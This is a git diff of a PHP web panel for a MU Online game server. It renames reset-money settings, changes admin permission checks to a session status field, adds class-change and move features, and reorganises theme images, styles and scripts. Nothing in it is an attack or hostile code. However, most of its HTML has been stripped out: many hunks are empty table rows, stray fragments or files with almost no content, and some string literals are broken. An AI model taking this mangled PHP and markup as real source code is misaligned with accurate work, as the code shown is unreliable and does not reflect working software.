substr($mmw['resetmoney'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; + $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; $cs_memb_reset_proc = '
'.mmw_lang_you_have.': -'.ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ).'%'; } } @@ -42,18 +43,14 @@ if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;} -$locations = ''; + +include("move.php"); +$locations = ''; + $add_stats = 'Strength
'; $add_stats = $add_stats.'Agility
'; @@ -61,10 +58,11 @@ $add_stats = $add_stats.'Energy
'; if($info[1]==64){$add_stats = $add_stats.'Command
';} -if($mmw[mix_cs_memb_reset]=="yes" && $cs_row[0]==$guildm[0]) {$edited_res_money = $mmw['resetmoney'] - ($cs_memb_reset_zen * 1000000);} -else {$edited_res_money = $mmw['resetmoney'];} +if($mmw[mix_cs_memb_reset]=="yes" && $cs_row[0]==$guildm[0]) {$edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000);} +else {$edited_res_money = $mmw['reset_money'];} if($mmw[reset_system]=='yes') {$resetzen = $edited_res_money * ($info[10] + 1);} else {$resetzen = $edited_res_money;} +if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetzen) {$resetzen = $mmw[reset_limit_price];} if($info[9] < $reset_level) {$reset = mmw_lang_need." $reset_level ".mmw_lang_level.'!';} elseif( $all_money < $resetzen) {$reset = mmw_lang_need.' '.zen_format($resetzen).' Zen!';} @@ -77,9 +75,20 @@ elseif($info[13] <= 3) {$pkclear = mmw_lang_no_pk_status_found;} elseif($info[13] > 3) {$pkclear = "
".mmw_lang_price.': '.zen_format($mmw['pkmoney'])." Zen!
";} -if($info[9] < 6) {$move="Need 6 level!";} +if($info[9] < 6) {$move = mmw_lang_need_6_level;} elseif($all_money < $mmw['move_zen']) {$move = mmw_lang_need.' '.zen_format($mmw['move_zen']).' Zen!';} else {$move="
".mmw_lang_price.': '.zen_format($mmw['move_zen'])." Zen!
$locations
";} + + +if($mmw[switch_change_class] == 'yes') { + include("class.php"); + $change_class_form = ''; + $change_class = "
".mmw_lang_class_price."
$change_class_form
"; +} ?> @@ -157,7 +166,10 @@
-
diff --git a/modules/user/gm.php b/modules/user/gm.php index a64236b..61e252d 100644 --- a/modules/user/gm.php +++ b/modules/user/gm.php @@ -6,7 +6,7 @@ - + @@ -21,7 +21,7 @@ = $mmw[hex_wh_can]) { +if($_SESSION['mmw_status'] >= $mmw[hex_wh_can]) { echo "
HEX Ware House Can Edit!
" . $rowbr; //HEX WH $query = "declare @vault varbinary(1920); @@ -30,9 +30,9 @@ $vault = substr(mssql_get_last_message(),2); ?> -
Your Level: () ()
Security Code:
+
- + @@ -43,7 +43,7 @@ echo $rowbr; } -if($_SESSION['admin'] >= $mmw[gm_msg_send]) { +if($_SESSION['mmw_status'] >= $mmw[gm_msg_send]) { if(isset($_POST[gm_msg])) {$gm_msg = $_POST[gm_msg];} else {$gm_msg = "$char: TEXT";} echo "
GameMaster Chat In Game!
" . $rowbr; @@ -63,4 +63,4 @@ echo $rowbr; ?> -
Thank Vaflan For This MMW!
\ No newline at end of file +
Thank Vaflan For This MMW!
\ No newline at end of file diff --git a/modules/user/wh.php b/modules/user/wh.php index 766ba5e..5197aaa 100644 --- a/modules/user/wh.php +++ b/modules/user/wh.php @@ -7,16 +7,19 @@ $row = mssql_fetch_row($result); if($row[0]!="" && $row[0]!=" ") { + // Money if($row[1]=="" || $row[1]==" ") {$row[1]="0";} if($row[2]=="" || $row[2]==" ") {$row[2]="0";} echo " -
+
+ + diff --git a/move.php b/move.php new file mode 100644 index 0000000..4d9bd63 --- /dev/null +++ b/move.php @@ -0,0 +1,22 @@ + \ No newline at end of file diff --git a/popunder.txt b/popunder.txt new file mode 100644 index 0000000..83e6889 --- /dev/null +++ b/popunder.txt @@ -0,0 +1,16 @@ + + + +
+MyMuWeb Support
+RedAngel MuOnline
+Padriv E-Radio
+
+ +
+This Text Can Edit in popunder.txt \ No newline at end of file diff --git a/screen.png b/screen.png deleted file mode 100644 index 7950895..0000000 Binary files a/screen.png and /dev/null differ diff --git a/scripts/functions.js b/scripts/functions.js index 5a61bb2..bfa892d 100644 --- a/scripts/functions.js +++ b/scripts/functions.js @@ -1,3 +1,7 @@ +// All this Java Script +// Be Find By Vaflan +// And Edited By Vaflan + function expandit(curobj, hide) { if(document.getElementById(curobj)) { folder=document.getElementById(curobj).style; @@ -36,14 +40,12 @@ function expandit(curobj, hide) { - var confirmMsg = ' '; -function confirmLink(theLink, theQuery) -{ - if (confirmMsg == '' || typeof(window.opera) != 'undefined') { +function confirmLink(theLink, theQuery) { + if (typeof(window.opera) != 'undefined') { return true;//script_by_vaflan } - var is_confirmed = confirm(confirmMsg + ':\n' + theQuery); + var is_confirmed = confirm(theQuery); if (is_confirmed) { if ( typeof(theLink.href) != 'undefined' ) { theLink.href; @@ -57,45 +59,12 @@ function confirmLink(theLink, theQuery) - -///////////////////////////////////////////////////////////////// - - - - -function check_password_form() -{ -if ( document.change_password.oldpassword.value == "") -{ -alert("Please enter Curent Password."); -return false; -} -if ( document.change_password.newpassword.value == "") -{ -alert("Please enter New Password."); -return false; -} -if ( document.change_password.renewpassword.value == "") -{ -alert("Please retype New Password."); -return false; -} -//return false; -document.change_password.submit(); -} - - - - - - ///////////////////////////////////////////////////////////////// -function CheckLeng(Target,MaxLength) - { +function CheckLeng(Target,MaxLength) { if (Target.value.length > MaxLength) document.new_request.msg.value = document.new_request.msg.value.substr(0,MaxLength); @@ -104,8 +73,6 @@ function CheckLeng(Target,MaxLength) - - ///////////////////////////////////////////////////////////////// @@ -128,4 +95,9 @@ function calc_price(input, service, currency) { if(a < 1000000 && a > 0) {cost.innerHTML = (1);} if(isNaN(cost.innerHTML) || a < 0) {cost.innerHTML = 'error';} else {cost.innerHTML = number(cost.innerHTML) + currency;} -} \ No newline at end of file +} + + + + +///////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/scripts/helptip.js b/scripts/helptip.js deleted file mode 100644 index 6c129d4..0000000 --- a/scripts/helptip.js +++ /dev/null @@ -1,240 +0,0 @@ -/*----------------------------------------------------------------------------\ -| Help Tip 1.12 | -|-----------------------------------------------------------------------------| -| Created by Erik Arvidsson | -| (http://webfx.eae.net/contact.html#erik) | -| For WebFX (http://webfx.eae.net/) | -|-----------------------------------------------------------------------------| -| A tool tip like script that can be used for context help | -|-----------------------------------------------------------------------------| -| Copyright (c) 1999 - 2002 Erik Arvidsson | -|-----------------------------------------------------------------------------| -| This software is provided "as is", without warranty of any kind, express or | -| implied, including but not limited to the warranties of merchantability, | -| fitness for a particular purpose and noninfringement. In no event shall the | -| authors or copyright holders be liable for any claim, damages or other | -| liability, whether in an action of contract, tort or otherwise, arising | -| from, out of or in connection with the software or the use or other | -| dealings in the software. | -| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | -| This software is available under the three different licenses mentioned | -| below. To use this software you must chose, and qualify, for one of those. | -| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | -| The WebFX Non-Commercial License http://webfx.eae.net/license.html | -| Permits anyone the right to use the software in a non-commercial context | -| free of charge. | -| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | -| The WebFX Commercial license http://webfx.eae.net/commercial.html | -| Permits the license holder the right to use the software in a commercial | -| context. Such license must be specifically obtained, however it's valid for | -| any number of implementations of the licensed software. | -| - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | -| GPL - The GNU General Public License http://www.gnu.org/licenses/gpl.txt | -| Permits anyone the right to use and modify the software without limitations | -| as long as proper credits are given and the original and modified source | -| code are included. Requires that the final product, software derivate from | -| the original source or any software utilizing a GPL component, such as | -| this, is also licensed under the GPL license. | -|-----------------------------------------------------------------------------| -| 2002-09-27 | | -| 2001-11-25 | Added a resize to the tooltip if the document width is too | -| | small. | -| 2002-05-19 | IE50 did not recognise the JS keyword undefined so the test | -| | for scroll support was updated to be IE50 friendly. | -| 2002-07-06 | Added flag to hide selects for IE | -| 2002-10-04 | (1.1) Restructured and made code more IE garbage collector | -| | friendly. This solved the most nasty memory leaks. Also added | -| | support for hiding the tooltip if ESC is pressed. | -| 2002-10-18 | Fixed verrical position in case of scrolled document. | -| 2002-12-02 | Mozilla bug workaround related to mousedown and move. | -|-----------------------------------------------------------------------------| -| Dependencies: helptip.css (To set up the CSS of the help-tooltip class) | -|-----------------------------------------------------------------------------| -| Usage: | -| | -| + + + + + + + +
+ "> +
+ +
".mmw_lang_where." Zen Max Zen
".mmw_lang_extra_ware_house." ".number_format($row[2])."
+ + +
+ + + + + + + + + + +
+ +
+ + + + + + + + + + + +
+ $2
");?> +
+ + + + + + + + + + + +
+ +
+
+ + + + + + + + + + + +
+ +
+ + + + + + + + + + + +
+ +
+ + + + + + + + + + + +
+ +
+ + + + + + + + + + + +
+ +
+ + + + + + + + + + + +
+ +
+ + +
+ + + + + + + + + +
> :
\ No newline at end of file diff --git a/themes/default/img/anime_1.gif b/themes/default/img/anime_1.gif new file mode 100644 index 0000000..ed6a4ea Binary files /dev/null and b/themes/default/img/anime_1.gif differ diff --git a/themes/default/img/anime_2.gif b/themes/default/img/anime_2.gif new file mode 100644 index 0000000..93e36cd Binary files /dev/null and b/themes/default/img/anime_2.gif differ diff --git a/themes/default/img/anime_3.gif b/themes/default/img/anime_3.gif new file mode 100644 index 0000000..3a0256a Binary files /dev/null and b/themes/default/img/anime_3.gif differ diff --git a/themes/default/img/anime_4.gif b/themes/default/img/anime_4.gif new file mode 100644 index 0000000..c94493e Binary files /dev/null and b/themes/default/img/anime_4.gif differ diff --git a/themes/default/img/anime_5.gif b/themes/default/img/anime_5.gif new file mode 100644 index 0000000..72ebedf Binary files /dev/null and b/themes/default/img/anime_5.gif differ diff --git a/themes/default/img/anime_6.gif b/themes/default/img/anime_6.gif new file mode 100644 index 0000000..d3ea429 Binary files /dev/null and b/themes/default/img/anime_6.gif differ diff --git a/themes/default/img/anime_7.gif b/themes/default/img/anime_7.gif new file mode 100644 index 0000000..8039602 Binary files /dev/null and b/themes/default/img/anime_7.gif differ diff --git a/themes/default/img/anime_8.gif b/themes/default/img/anime_8.gif new file mode 100644 index 0000000..0c93a10 Binary files /dev/null and b/themes/default/img/anime_8.gif differ diff --git a/themes/default/img/background.png b/themes/default/img/background.png new file mode 100644 index 0000000..e8f6a5c Binary files /dev/null and b/themes/default/img/background.png differ diff --git a/images/bar.jpg b/themes/default/img/bar.jpg similarity index 100% rename from images/bar.jpg rename to themes/default/img/bar.jpg diff --git a/images/bg_body.png b/themes/default/img/bg_body.png similarity index 100% rename from images/bg_body.png rename to themes/default/img/bg_body.png diff --git a/images/block.png b/themes/default/img/block.png similarity index 100% rename from images/block.png rename to themes/default/img/block.png diff --git a/images/comment.png b/themes/default/img/comment.png similarity index 100% rename from images/comment.png rename to themes/default/img/comment.png diff --git a/images/footer.png b/themes/default/img/footer.png similarity index 100% rename from images/footer.png rename to themes/default/img/footer.png diff --git a/images/left.png b/themes/default/img/left.png similarity index 100% rename from images/left.png rename to themes/default/img/left.png diff --git a/themes/default/img/logo.png b/themes/default/img/logo.png new file mode 100644 index 0000000..945cdc4 Binary files /dev/null and b/themes/default/img/logo.png differ diff --git a/themes/default/img/logo.psd b/themes/default/img/logo.psd new file mode 100644 index 0000000..01e34fa Binary files /dev/null and b/themes/default/img/logo.psd differ diff --git a/images/mu.png b/themes/default/img/mu.png similarity index 100% rename from images/mu.png rename to themes/default/img/mu.png diff --git a/images/news.gif b/themes/default/img/news.gif similarity index 100% rename from images/news.gif rename to themes/default/img/news.gif diff --git a/images/right.png b/themes/default/img/right.png similarity index 100% rename from images/right.png rename to themes/default/img/right.png diff --git a/themes/default/info.php b/themes/default/info.php new file mode 100644 index 0000000..44235d2 --- /dev/null +++ b/themes/default/info.php @@ -0,0 +1,27 @@ +\n"; + +$back_color = "FFFFFF"; +$text_color = "000000"; +$media_color = "FFFFFF"; + +$warning_green = "/!\"; +$warning_red = "/!\"; + +$okey_start = "
"; +$okey_end = "
"; + +$die_start = "
"; +$die_end = "
"; +?> \ No newline at end of file diff --git a/images/style.css b/themes/default/style.css similarity index 81% rename from images/style.css rename to themes/default/style.css index e680480..ffbfa51 100644 --- a/images/style.css +++ b/themes/default/style.css @@ -12,15 +12,15 @@ a:hover {font-size: 12px; color: #000000; text-decoration: none;} .block_bg {background:#FFFFFF; padding:6px;} .sizedforum {max-width:480px; width:expression(this.scrollWidth > 480? "480px" : "auto" ); overflow:auto; overflow-y:hidden;} .sizedcomment {max-width:370px; width:expression(this.scrollWidth > 370? "370px" : "auto" ); overflow:auto; overflow-y:hidden;} -.comment-right {padding:0px; padding-left:4px; color:#FFFFFF; font-size:8px; background:url(comment.png); height:16px; width:110px;} .info-table {background: #999999; color: #FFFFFF; text-align: center;} .info-td {background: #FFFFFF; color: #000000; text-align: center;} -.div-menu-out {cursor:pointer;color:#666666; font-weight: bold;} -.div-menu-over {cursor:pointer;color:#000000; font-weight: bold;} +.div-menu-out {cursor:pointer; color:#666666; font-weight: bold;} +.div-menu-over {cursor:pointer; color:#000000; font-weight: bold;} -a.helpLink {color: #000000; text-decoration: underline; cursor: help; font-size: 12px;} -a.helpLink:hover {color: #666666; text-decoration: underline; cursor: help; font-size: 12px;} -.help-tooltip {position: fixed; border: 1px Solid #000000; background: #FFFFFF; color: #000000; padding: 2px; filter: progid:DXImageTransform.Microsoft.Shadow(color="#777777", Direction=135, Strength=3); z-index: 10000;} +.helpLink {color: #000000; text-decoration: underline; cursor: help; font-size: 12px;} +.helpLink:hover {color: #666666; text-decoration: underline; cursor: help; font-size: 12px;} +#tooltip {position: absolute; border: 1px solid #000000; background-color: #FEFEFE; color: #000000; padding: 3px; max-width: 468px; -moz-opacity: 0.85; filter: alpha(opacity=85); z-index: 0;} +#tooltip h3, #tooltip div {margin: 0; font: 11px 'Trebuchet MS';} input,textarea,select,option,button {border: 1px solid #000000; background: #FFFFFF; font-size:11px; color: #000000; padding: 0px; vertical-align: middle;} select.selections {font-family: "Arial"; font-size: 12px; line-height: 14px; color: #f2e5cd; text-decoration: none; background-color: #494949;} @@ -28,6 +28,7 @@ form,img {display: inline; padding: 0; margin: 0; border: 0;} label {cursor: hand;} .aBlock {padding: 0px; border: 1px solid #1c1c1c; background: #F8F8F8;} +.aRight {padding:0px; padding-left:4px; color:#FFFFFF; font-size:8px; background:url(img/comment.png); height:16px; width:110px;} /* --------------- */ /* Tables */ @@ -38,7 +39,7 @@ label {cursor: hand;} /* News */ .eBlock {border: 0px dashed #000000;} -.eTitle {background: url('news.gif') no-repeat 0 1px; padding-left: 18px; font-size: 14px; font-weight: bold;} +.eTitle {background: url('img/news.gif') no-repeat 0 1px; padding-left: 18px; font-size: 14px; font-weight: bold;} a.eTitleLink:link,a.eTitleLink:visited,a.eTitleLink:hover,a.eTitleLink:active {font-size: 14px; font-weight: bold;} .eMessage {border-top: 1px solid #555555; text-align: justify; padding: 2px;} .eDetails {background: #EEEEEE; padding-left: 2px; text-align: left; color: #000000; font-size: 7pt;}